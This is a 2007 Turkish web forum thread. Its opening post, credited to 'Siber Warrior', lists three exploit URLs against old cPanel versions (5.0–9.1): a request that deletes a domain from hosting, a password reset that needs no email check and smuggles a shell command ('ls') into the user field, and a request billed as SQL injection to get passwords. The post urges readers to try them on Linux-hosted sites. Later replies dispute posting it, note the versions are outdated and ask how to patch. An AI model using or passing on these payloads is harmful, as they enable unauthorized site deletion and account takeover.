• 13-04-2007, 18:48:19
    #1
    Eger bir sitede cpanel yönetim arayüzü tespit ederseniz bu adresle hostingten domaini silersiniz.

    Kod:
    http://www.siteadi.com:2086/scripts...?domain=(domain) &user=(user)&submit-domain=Terminate

    Uygun sürümler:
    cPanel cPanel 5.0
    cPanel cPanel 5.3
    cPanel cPanel 6.0
    cPanel cPanel 6.2
    cPanel cPanel 6.4
    cPanel cPanel 6.4.1
    cPanel cPanel 6.4.2 .STABLE_48
    cPanel cPanel 6.4.2
    cPanel cPanel 7.0
    cPanel cPanel 8.0
    cPanel cPanel 9.0
    cPanel cPanel 9.1 .0-R85
    cPanel cPanel 9.1

    ---------------------


    Cpanel sifresini email dogrulamasi gerektirmeden direk sifirlar.

    http://www.siteadi.com:2082/resetpass/?user=|">ls"|

    Uygun Sürümler:
    cPanel cPanel 5.0
    cPanel cPanel 5.3
    cPanel cPanel 6.0
    cPanel cPanel 6.2
    cPanel cPanel 6.4
    cPanel cPanel 6.4.1
    cPanel cPanel 6.4.2 .STABLE_48
    cPanel cPanel 6.4.2
    cPanel cPanel 7.0
    cPanel cPanel 8.0
    cPanel cPanel 9.0
    cPanel cPanel 9.1


    ----------------------------


    Bir sistemde cpanel sql injection ile sifreleri alabilirsiniz:

    http://www.siteadi.com:2086/scripts/passwd?password=<> &domain=<>&user=<>

    Uygun Sürümler:
    cPanel cPanel 5.0
    cPanel cPanel 5.3
    cPanel cPanel 6.0
    cPanel cPanel 6.2
    cPanel cPanel 6.4
    cPanel cPanel 6.4.1
    cPanel cPanel 6.4.2 .STABLE_48
    cPanel cPanel 6.4.2
    cPanel cPanel 7.0
    cPanel cPanel 8.0
    cPanel cPanel 9.0
    cPanel cPanel 9.1 .0-R85
    cPanel cPanel 9.1


    CPanel kullanilan sitelerde oluyor bu açik;
    Simdi diyeceksin Bir sitenin kontrol panelinin Cpanel oldugunu nereden anlarim,
    Söyliyim,Bir sitenin Kontrol paneli ya Plesk Panel dir yada Cpanel panel,
    bunu sen anlayamassin ama genelde web mastarlarin tercihi Cpaneldir,Kolay oldugu için tabi
    Genelde Linux serverde kurulu oluyor.Yani Linux server kullanan siteler üzerinde deneyin.

    Alıntı:Siber Warrior
    ------------------
    Böle bişi varsa nasıl bu açığı kapatabiliriz
  • 13-04-2007, 19:17:02
    #2
    bu sürümleri kullanan varmı ki.
  • 13-04-2007, 19:20:55
    #3
    bunları burda vermek sizce ne kadar mantıklı
    ben kaldırılmasını ıstıyorum
  • 13-04-2007, 19:30:09
    #4
    öle demeyin incelemek lazım ki ona göre önlem alalım...

    bu yöntemler işe yarıyormu bilen warmı?
  • 13-04-2007, 19:47:49
    #5
    Üyeliği durduruldu
    Kaynak sanırım Cyber-Warrior Information Technology's World ama bu sürümleri gerçekten kullanan yok.
  • 13-04-2007, 20:11:52
    #6
    Üyeliği durduruldu
    bu başlık silinecektir sanırım. öyle incelemek gerekiyorsa gvenlik bölümü oluşturulur, burası da hack forumuna döner. ben lamerlerin isimlerine bile tahammül edemezken adi sitelerinin isimlerini görmeyi istemiyorum. gitsinler *belerinin cpanelleriyle uğraşsınlar.
  • 14-04-2007, 13:08:09
    #7
    Üyeliği durduruldu
    testere adlı üyeden alıntı: mesajı görüntüle
    bu başlık silinecektir sanırım. öyle incelemek gerekiyorsa gvenlik bölümü oluşturulur, burası da hack forumuna döner. ben lamerlerin isimlerine bile tahammül edemezken adi sitelerinin isimlerini görmeyi istemiyorum. gitsinler *belerinin cpanelleriyle uğraşsınlar.
    Hack değil sanırım bilgilendirilme yapılmışta senin sinirine gidiyor diye kendimizi bi düzene sokamayız. Hem ona buna layer diyip durma. Boş ver takılma sen.
  • 14-04-2007, 13:09:28
    #8
    ya Allah aşkına bu forumdaki kimler bu sürümü kullanıyor.
  • 14-04-2007, 13:12:29
    #9
    sunucuoptimizasyon.com
    bu konu çok konuşuldu yaw